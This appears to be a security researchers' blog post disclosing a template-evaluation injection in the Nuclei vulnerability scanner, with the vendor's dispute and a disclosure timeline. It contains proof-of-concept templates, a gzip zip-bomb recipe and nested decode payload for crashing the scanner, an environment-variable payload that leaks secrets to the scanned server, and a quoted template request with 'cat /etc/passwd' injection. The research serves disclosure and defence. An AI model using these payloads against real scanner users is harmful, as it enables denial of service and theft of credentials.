When hunters become prey - CSTI (?) in Nuclei

TL;DR

We discovered what we believe is a Client Side Template Injection (CSTI) vulnerability in Nuclei that allows an attacker to crash the scanner (Denial of Service - DoS) and, under certain circumstances, even leak secret keys. We choose the wording “we believe” here, because ProjectDiscovery denies that it is a security issue and that it works as intended. Our proof-of-concept codes (PoCs) demonstrate these scenarios and how to find plugins vulnerable to at least the DoS by crashing the scanner.

Introduction

While reading this blog post we became interested in Nuclei — a scanner that uses templates to identify vulnerabilities. The blog post mentions how Nuclei can embed content from a scanned site in the subsequent requests using template variables. While this is a useful feature of Nuclei, we wondered if it might also be vulnerable to template injection.

In this post, we discuss what we found when exploring this possibility and present a proof of concept (PoC). All tests were performed with the latest available version of Nuclei (2.9.6) at the time of testing.

Proof of Concept

We created a custom template to test for CSTI. The template makes a GET request to /poc.txt and stores the response body in a dynamic variable called inject. It then uses this variable in a second request in the custom header EXFIL.

id: CSTI-POC 

info:
  name: Nuclei Client Side Template Injection PoC
  author: ThreatCat.ch
  severity: low
  description: Proof of concept of Nucley CSTI 
  tags: poc

http:
  - raw:
      - |
        GET /poc.txt HTTP/1.1
        Host: {{Hostname}}        

      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        EXFIL: {{inject}}        

    cookie-reuse: true
    extractors:
      - type: regex
        name: inject # dynamic variable
        part: body
        internal: true
        regex:
          - ".*"

    matchers:
      - type: regex
        regex:
          - ".*"
        part: body

Nuclei has some helper functions, mostly used to transform data in the templates.

We used the base64 function to create the payload in the poc.txt file.

poc.txt:

{{base64("threatcat.ch")}}

Next, we ran Nuclei with the following command:

nuclei --dreq -t csti-poc.yaml -u http://localhost:8000/ 

The output of Nuclei provides a comprehensive view of the requests sent to the web server, thanks to the --dreq flag. In the second request, we observed that the header EXFIL had the value dGhyZXRjYXQuY2g=, which is the base64-encoded representation of the string threatcat.ch. Nuclei extracted the payload we prepared and evaluated it on the client side while building the second request.

Nuclei output:

[INF] [CSTI-POC] Dumped HTTP request for http://localhost:8000/poc.txt

GET /poc.txt HTTP/1.1
Host: localhost:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Accept-Encoding: gzip

[CSTI-POC] [http] [low] http://localhost:8000/poc.txt
[INF] [CSTI-POC] Dumped HTTP request for http://localhost:8000/

GET / HTTP/1.1
Host: localhost:8000
User-Agent: Mozilla/5.0 (Windows NT 4.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Connection: close
EXFIL: dGhyZWF0Y2F0LmNo
Accept-Encoding: gzip

[CSTI-POC] [http] [low] http://localhost:8000/

Implications

While the ideal type of Template Injection Vulnerability allows the attacker to execute code on the target, we were unable to achieve this in Nuclei. There have been some cases of Template Injection leading to Remote Code Execution (RCE) in Golang applications, as described here, but the templating used for Nuclei is different and (to our knowledge) does not allow for such attacks. We can only use predefined functions and variables that are present.

Crashing the Service (DoS)

Since we couldn’t execute code on the target, we attempted to interrupt a scan instead. One function that is defined in the Domain-Specific Language (DSL) of Nuclei is wait_for, which takes one argument (the number of seconds to wait). This however does only put one thread at sleep and does not create a DoS situation for the whole scan.

Another interesting function is “gzip_decode”, that can be used to decompress a gzip compressed payload. We can abuse this function to detonate a zip bomb on the target system. A zip bomb is a file that is very small in size, but takes up a large amount of memory when uncompressed.

To demonstrate this technique, we created a 100 GB zip bomb. First, we used the “dd” command to create a 100 GB file filled with zeros, and then we compressed it multiple times using the “gzip” command.

dd if=/dev/zero bs=1G count=100  | gzip | gzip | gzip | gzip > zipbomb.gz
cat zipbomb4.gz| xxd -p | tr -d '\n'

The maximum compression rate of gzip is about 1/1000 so we compressed the file four times to get a payload that is roughly 5kB but can be decompressed to 100GB of zeros. To send this file over HTTP, we encoded it in hex to avoid any issues with special characters. The final payload size is about 11kB due to the hex encoding. This size is still small enough to be sent to the target.

To perform the injection, we used a payload that hex decodes the zip bomb file and then inflates it four times. The aim is to exceed the amount of memory that the target can handle.

{{gzip_decode(gzip_decode(gzip_decode(gzip_decode(gzip_decode(hex_decode("1f8b0800000000000003ad57... [CUT FOR BREVITY] ...a3f3b6f4a5c38f7d77f00eb985ff6a9190000 "))))))}}

When running Nuclei with this template, the target process is crashing, if there is insufficient memory on the host and we get our desired DoS scenario.

Nuclei output:

[INF] Targets loaded for current scan: 1
[VER] [CSTI-POC] Sent HTTP request to http://localhost:8000/poc.txt
[CSTI-POC] [http] [low] http://localhost:8000/poc.txt
zsh: killed     nuclei -v -t csti-poc.yaml -u 

Potential information leak

Apart from crashing the service, another serious concern regarding template injection is the possibility of leaking sensitive information. In Nuclei, templates can be updated from private Github/Gitlab repositories or from cloud storage services such as AWS Bucket or Azure Blob Storage. Authentication credentials can be set using environment variables.

Moreover, Nuclei allows users to use environment variables in templates by specifying the -ev switch or by setting the flag in the configuration file. As attackers, we can exploit this feature to read all the environment variables set on the target system.

We can inject a payload to read the secret key stored in the environment variable as follows:

{{MYSECRETKEY}}

We can then run Nuclei with the -ev flag and an environment variable set:

MYSECRETKEY=MEOWMEOW nuclei -dreq -v -ev -t csti-poc.yaml -u http://localhost:8000/

The output of Nuclei shows, that the environment variable is sent to the Server in the second request.

[INF] [CSTI-POC] Dumped HTTP request for http://localhost:8000/poc.txt

GET /poc.txt HTTP/1.1
Host: localhost:8000
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
Accept-Encoding: gzip

[CSTI-POC] [http] [low] http://localhost:8000/poc.txt
[INF] [CSTI-POC] Dumped HTTP request for http://localhost:8000/

GET / HTTP/1.1
Host: localhost:8000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
Connection: close
EXFIL: MEOWMEOW
Accept-Encoding: gzip

[CSTI-POC] [http] [low] http://localhost:8000/

Finding vulnerable Templates

In order to demonstrate the potential impact of template injection, we have created a special template that is vulnerable to this attack. However, are there any default templates provided by Nuclei that may also be affected by this vulnerability? We needed to find out, as this would be the most likely way for an average bug bounty hunter to scan our system using a vulnerable template.

We searched through the available templates and found that several of them were indeed vulnerable to template injection. The easiest way to identify a vulnerable template was to look for extractors that used a .* regex pattern and then reused the defined variable in a subsequent request.

For example, the CVE-2018-1000533.yaml template is affected by this vulnerability, the relevant part of the template is shown below:

requests:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}        

      - |
        POST /{{path}}/tree/a/search HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        query=--open-files-in-pager=cat%20/etc/passwd        

    extractors:
      - type: regex
        name: path
        group: 1
        internal: true
        part: body
        regex:
          - '<span class="name">(.*?)</span>'

This template extracts everything between <span class="name"> and </span> and uses the content for the next request in the path variable. An attacker can create a payload that works for this template by sending something like this in the first request:

<span class="name">{{OUR PAYLOAD HERE}}</span>

This means that Nuclei is vulnerable to template injection (at least for the DoS attacks) in its default configuration if the victim scans a server with all available templates.

Miscellaneous (but mostly useless) features

While exploring the available functions, we discovered a few other interesting features, although they don’t have much practical value for us.

For example, we can use the resolve command to make our victim resolve one or more hostnames for us. Here’s an example of how to resolve a single domain:

{{resolve('domain.com')}}

And here’s an example of how to resolve multiple domains at once:

{{concat(resolve('domaina.com'), "/", resolve("domainb.com"), "/", ... )}}

We can also use the print_debug command to fool the victim in sending a message to him. Here’s an example of how to do this:

{{print_debug("The Matrix has you...Follow the white cat")}}

When Nuclei runs with this payload, it will output the message to the victim’s console:

[VER] [CSTI-POC] Sent HTTP request to http://localhost:8000/poc.txt
[CSTI-POC] [http] [low] http://localhost:8000/poc.txt
[INF] print_debug value: [The Matrix has you...Follow the white cat]
[INF] print_debug value: [The Matrix has you...Follow the white cat]
[VER] [CSTI-POC] Sent HTTP request to http://localhost:8000/
[CSTI-POC] [http] [low] http://localhost:8000/

Reporting to ProjectDiscovery

As soon as we had all the details and a draft of this blog post, we reached out to ProjectDiscovery about our findings.

ProjectDiscovery responded, that they wish to clarify, that they use Knetic’s govaluate for expression evaluation and not a template processor. Further they told us that the highlighted features pose no security risk and that they are intended.

We agree, that govaluate is not problematic here. The same goes for the ProjectDiscovery DSL which is also used to evaluate expressions in the same manner. The replacement of the placeholders in a given template is done with valyala/fasttemplate, which once again is not problematic itself.

The problematic part is in our opinion the way how nuclei uses those libraries. As we described nuclei takes unsanitized data from the server it is scanning and then evaluates it with the help of fasttemplate, dsl and govaluate. When extracting data from the scanned target for reuse, one would expect that nuclei sends the same data as-is. However, if the extracted data happens to be in the format of {{data}} or §data§ (either by chance or malicious intent), it will undergo evaluation, and the resulting evaluated value will be used in subsequent requests.

We discussed this opinion with ProjectDiscovery, but they still don’t see it as a security problem, and asked us to create a Github issue if we feel there is a bug that leads to a crash of nuclei.

Conclusion

While we have demonstrated that this issue can pose a problem under specific circumstances, we believe that the real-world implications are relatively minimal. Nevertheless, we strongly advocate for addressing and rectifying this issue. It is conceivable that a future iteration of Nuclei or the ProjectDiscovery DSL may introduce additional functionality that could potentially be exploited. Moreover, it is important to acknowledge that this vulnerability has the potential to be combined with other vulnerabilities that may exist in the current or future versions of Nuclei. By addressing this issue, the overall security of Nuclei will be enhanced and potential risks associated with these scenarios are mitigated.

Timeline

Date Action
June 2023 Vulnerability found and tested.
2023-06-14 Initial contact with ProjectDiscovery about how to report (answered within hours)
2023-06-14 Sent report to ProjectDiscovery
2023-06-20 Answer from ProjectDiscovery -> No security bug, works as intended, but feel free to post the blog article
2023-06-20 Further discussions with ProjectDiscovery without finding consent
2023-06-29 Published blog post